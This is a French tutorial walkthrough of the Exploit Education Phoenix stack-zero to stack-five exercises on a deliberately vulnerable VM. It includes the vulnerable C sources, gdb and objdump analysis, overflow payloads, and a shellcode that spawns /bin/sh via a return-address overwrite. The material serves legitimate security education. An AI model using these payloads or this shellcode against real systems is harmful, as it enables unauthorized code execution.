Tape3#
Mise en route#
Télécharger la vm amd64 ici, qemu aussi si vous ne l’avez pas, debian, arch.
Pour nix-os utilisez un nix shell
nix-shell -p qemu.Lancez le script
boot-exploit-education-phoenix-amd64.sh:bash boot-exploit-education-phoenix-amd64.sh&pour continuer à utiliser le terminal courant.Utilisez le login
useret le mot de passeuser.Faite
ssh -p2222 user@localhostdans un autre terminal pour avoir une meilleure expérience.Vous trouverez les fichiers exécutables dans
/opt/phoenix/amd64/.
Notes importantes#
volatileest pour forcer le compilateur à ne pas optimiser la variable, et de toujours la mettre à jour en mémoire."\x"permet d’écrire des chaines de caractères en utilisant des hexadicimaux:"\x30\x30" == "00".Une variable en bash ne peut pas stocker le caractère
'\x00'(Stack-Five et Stack-Six).
Rappels gdb#
La VM utilise gef (gdb enhanced features) pour faciliter l’utilisation de gdb.
startest l’équivalent derunavec un breakpoint surmain(). Vu que le binaire ne contient pas assez de symboles pour le débugage, on ne peut faire des breakpoints que sur des adresses.gef permet d’utiliser une syntaxe plus simple avec le nom de la fonction, ex:
b *start_level.Ne pas oublier l’astérisque avant l’adresse pour les breakpoints!!
Pour donner un input au programme sur gdb on utilise la syntaxe
start< <(echo -ne "Hello"), on peut utiliserrunà la place pour ne pas s’arrêter aumain().On peut avoir l’assembleur d’une fonction en utilisant la commande
disassemble, exemple:disassemble start_leveldonnera le code assembleur de la fonctionstart_level. C’est plus pratique sur la VM vu queobjdump --disassemble=start_leveln’est pas supporté par cette dernière.
Stack-zero#
Le code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *gets(char *);
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
printf("%s\n", BANNER);
locals.changeme = 0;
gets(locals.buffer);
if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts(
"Uh oh, 'changeme' has not yet been changed. Would you like to try "
"again?");
}
exit(0);
}
Le fait de déclarer
bufferetchangemedans une struct, permet d’être sûr que les 64 caractères debufferprécèderont l’entierchangeme.Ajoutant à cela le fait que l’implémentation
getssimpliste permet d’écrire autant d’octets qu’on veut (segfault si elle arrive à une adresse interdite).Ainsi, en écrivant plus de 64 octets, on va modifier la valeur de
changeme.
user@phoenix-amd64:~$ python -c 'print("E"*64+"\x10\x20\x30\40")' | /opt/phoenix/amd64/stack-zero
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!
Figure 13 Disposition de la structure en mémoire.#
Remarquez que la valeur de changme est inversée, vu qu’on écrit depuis l’adresse basse à l’adresse haute, et que l’architecture amd64 suit le schéma little-endian.
Stack-one#
Le code:
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
printf("%s\n", BANNER);
if (argc < 2) {
errx(1, "specify an argument, to be copied into the \"buffer\"");
}
locals.changeme = 0;
strcpy(locals.buffer, argv[1]);
if (locals.changeme == 0x496c5962) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
locals.changeme);
}
exit(0);
}
On a toujours la même struct, mais ici on doit passer l’argument
argv[1]et faire en sorte d’avoir une valeur spécifique pourchangeme.La fonction
strcpyest tout aussi naïve quegets, elle ne s’arrête qu’au caractère0x00contrairement àstrncpyqui accepte un troisième argument représentant le nombre de caractères à copier.
user@phoenix-amd64:~$ /opt/phoenix/amd64/stack-one $( python -c 'print("E"*64+"\x62\x59\x6c\x49")')
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
Stack-Two#
Le code:
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
char *ptr;
printf("%s\n", BANNER);
ptr = getenv("ExploitEducation");
if (ptr == NULL) {
errx(1, "please set the ExploitEducation environment variable");
}
locals.changeme = 0;
strcpy(locals.buffer, ptr);
if (locals.changeme == 0x0d0a090a) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
locals.changeme);
}
exit(0);
}
Même idée que stack-one, on a juste à exporter la variable d’environnement
ExploitEducationavec la chaine de caractères nécessaire.
user@phoenix-amd64:~$ export ExploitEducation=$( python -c 'print("E"*64+"\x0a\x09\x0a\x0d")')
user@phoenix-amd64:~$ /opt/phoenix/amd64/stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
Stack-Three#
Le code:
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *gets(char *);
void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int (*fp)();
} locals;
printf("%s\n", BANNER);
locals.fp = NULL;
gets(locals.buffer);
if (locals.fp) {
printf("calling function pointer @ %p\n", locals.fp);
fflush(stdout);
locals.fp();
} else {
printf("function pointer remains unmodified :~( better luck next time!\n");
}
exit(0);
}
C’est toujours la même histoire, mais ici, on doit écrire 8 octets correspondant à l’adresse de la fonction
complete_level().
user@phoenix-amd64:~$ nm /opt/phoenix/amd64/stack-three
...
000000000040069d T complete_level
...
user@phoenix-amd64:~$ python -c 'print("E"*64+"\x9d\x06\x40\x00\x00\x00\x00\x00")' | /opt/phoenix/amd64/stack-three
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x40069d
Congratulations, you've finished phoenix/stack-three :-) Well done!
Stack-Four#
Le code:
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *gets(char *);
void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}
void start_level() {
char buffer[64];
void *ret;
gets(buffer);
ret = __builtin_return_address(0);
printf("and will be returning to %p\n", ret);
}
int main(int argc, char **argv) {
printf("%s\n", BANNER);
start_level();
}
On n’a plus la struct, autrement dit le compilateur peut choisir l’ordre qui lui va.
Maintenant, on doit réécrire l’adresse de retour
pushpar l’instructioncall start_level()pour retourner verscomplete_level()au lieu demain().Sachant que la pile doit être alignée sur 16 et que le compilateur peut sauvegarder des registres dans la pile, on ne peut pas calculer directement le nombre d’octets nécessaires sans voir le code assembleur.
user@phoenix-amd64:~$ objdump --disassemble /opt/phoenix/amd64/stack-four
0000000000400635 <start_level>:
400635: 55 push %rbp
400636: 48 89 e5 mov %rsp,%rbp
400639: 48 83 ec 50 sub $0x50,%rsp
40063d: 48 8d 45 b0 lea -0x50(%rbp),%rax
400641: 48 89 c7 mov %rax,%rdi
400644: e8 27 fe ff ff callq 400470 <gets@plt>
400649: 48 8b 45 08 mov 0x8(%rbp),%rax
40064d: 48 89 45 f8 mov %rax,-0x8(%rbp)
400651: 48 8b 45 f8 mov -0x8(%rbp),%rax
400655: 48 89 c6 mov %rax,%rsi
400658: bf 33 07 40 00 mov $0x400733,%edi
40065d: b8 00 00 00 00 mov $0x0,%eax
400662: e8 f9 fd ff ff callq 400460 <printf@plt>
400667: 90 nop
400668: c9 leaveq
400669: c3 retq
On voit que
%rbpfut push dans la pile.L’instruction
subnous dit que 0x50=80 octets furent alloués. Et la préparation de l’appel àgets(buffer);nous permet de savoir que notre buffer commence au sommet de la pile (l’adresse la plus basse).Pour ainsi dire, on doit écrire 80+8 octets avant d’arriver à l’adresse de retour.
user@phoenix-amd64:~$ nm /opt/phoenix/amd64/stack-four
...
000000000040061d T complete_level
...
user@phoenix-amd64:~$ python -c 'print("E"*88+"\x1d\x06\x40\x00\x00\x00\x00\x00")' | /opt/phoenix/amd64/stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!
Il faut que vous sachiez que ce n’est pas toutes les architectures CPU qui enregistrent l’adresse de retour dans la pile. Souvent il existe ce qu’on appelle le link register qui se charge de garder l’adresse de retour au lieu de faire des accès mémoires !
Stack-Five#
Le code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *gets(char *);
void start_level() {
char buffer[128];
gets(buffer);
}
int main(int argc, char **argv) {
printf("%s\n", BANNER);
start_level();
}
Alors, ici, on doit toujours réécrire l’adresse de retour enregistrée dans la pile. En revanche, on doit rediriger l’exécution vers du code qu’on charge dans le buffer.
Pour cela, on doit connaitre l’adresse exacte où est situé notre buffer en passant par gdb. Mais avant, on peut préparer le terrain en utilisant
objdump.
user@phoenix-amd64:~$ objdump --disassemble /opt/phoenix/amd64/stack-five
000000000040058d <start_level>:
40058d: 55 push %rbp
40058e: 48 89 e5 mov %rsp,%rbp
400591: 48 83 c4 80 add $0xffffffffffffff80,%rsp
400595: 48 8d 45 80 lea -0x80(%rbp),%rax
400599: 48 89 c7 mov %rax,%rdi
40059c: e8 4f fe ff ff callq 4003f0 <gets@plt>
4005a1: 90 nop
4005a2: c9 leaveq
4005a3: c3 retq
Alors, l’instruction
add $0xffffffffffffff80,%rspest équivalente àsub $0x80, %rsp, autrement dit, on alloue 128 octets (la taille du buffer). Et l’appel àgets()nous confirme que le buffer commence bel et bien à%rsp == %rbp - 0x80. Avec cela, on peut calculer le nombre d’octets nécessaires pour arriver à l’adresse de retour.128 octets + 8 octets du rbp sauvegardé = 136 octets avant l’adresse de retour.
Vous pouvez aussi inspecter la mémoire quand gdb est dans
start_levelpour voir où se trouve l’adresse de l’instruction juste aprèscall start_leveldansmain()et calculer la différence entre elle et l’adresse du buffer.
Le gdb de la VM n’aime pas avoir du python comme entrée, du coup je crée une variable d’environnement qui stockera un shellcode de 57 octets et 79 ‘E’, vu que l’adresse du buffer contiendra des zéros, on la passera directement via un
echo -neou unprintf.
export fill=$(printf "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"$(python3 -c 'print("E"*79)'))
Les variables d’environnement sont chargées en mémoire au-dessus de la pile, une modification de ces dernières décalera le début de la pile, et changera l’adresse où commence le buffer.
En lançant gdb faites toujours en sorte d’exécuter ses instructions avant
runoustart, pour avoir le même début de pile que si on exécute le code via le terminal:
user@phoenix-amd64:~$ gdb /opt/phoenix/amd64/stack-five
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) set env _=/opt/phoenix/amd64/stack-five
(gdb) b *start_level+20 # c'est l'adresse de l'instruction nop dans start_level (4005a1)
(gdb) run < <(printf $fill"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF") # juste pour tester
On utilise
<()pour la substitution de processus et non$(), afin de conserver les caractères spéciaux. Sachez qu’avec$(), le shell interprète la sortie du sous-processus comme une chaîne de caractères, ce qui peut entraîner la perte de caractères nuls\x00et d’autres caractères spéciaux. Avec<(), on crée un fichier temporaire qui conserve tous les caractères dans leur forme brute, y compris les caractères nuls et autres caractères spéciaux (référence : GNU).
On s’arrète avant le
leavepour avoir la valeur de%rbp - 0x80qui va être changer en%rbpaprès cette commande. Et là, on retient l’adresse de%rsp:0x00007fffffffe450(elle est sûrement différente chez vous !!). On peut faire deuxstepipour arriver àret, là on remarque que la valeur pointée par%rsp=0xffffffffffffffff, et que gdb afficheCannot disassemble from $PCvu que l’adresse de retour pointe vers de l’espace kernel.En relançant gdb en écrivant la bonne adresse du buffer à la place de l’adresse de retour, on obtient:
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) set env _=/opt/phoenix/amd64/stack-five
(gdb) run < <(printf $fill"\x50\xe4\xff\xff\xff\x7f\x00\x00")
Starting program: /opt/phoenix/amd64/stack-five < <(printf $fill"\x50\xe4\xff\xff\xff\x7f\x00\x00")
Welcome to phoenix/stack-five, brought to you by https://exploit.education
process 428 is executing new program: /bin/dash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
$ # shell started
Quand vous lancerez le programme depuis le terminal, utilisez le chemin absolu pour avoir la même valeur pour la variable
_que ce qu’on a mis sur gdb.
user@phoenix-amd64:~$ echo -ne "$fill\x50\xe4\xff\xff\xff\x7f\x00\x00" | /opt/phoenix/amd64/stack-five
$ # shell started
Si ca ne marche pas avec
startalors que le shellcode est bel et bien exécuté, essayez avecrunet en utilisant un fichier au lieu d’une commande bash:user@phoenix-amd64:~$ echo -ne "$fill\x50\xe4\xff\xff\xff\x7f\x00\x00" > input-stack-five.txt user@phoenix-amd64:~$ gdb /opt/phoenix/amd64/stack-five (gdb) unset env LINES (gdb) unset env COLUMNS (gdb) set env _=/opt/phoenix/amd64/stack-five (gdb) start < ./input-stack-five.txt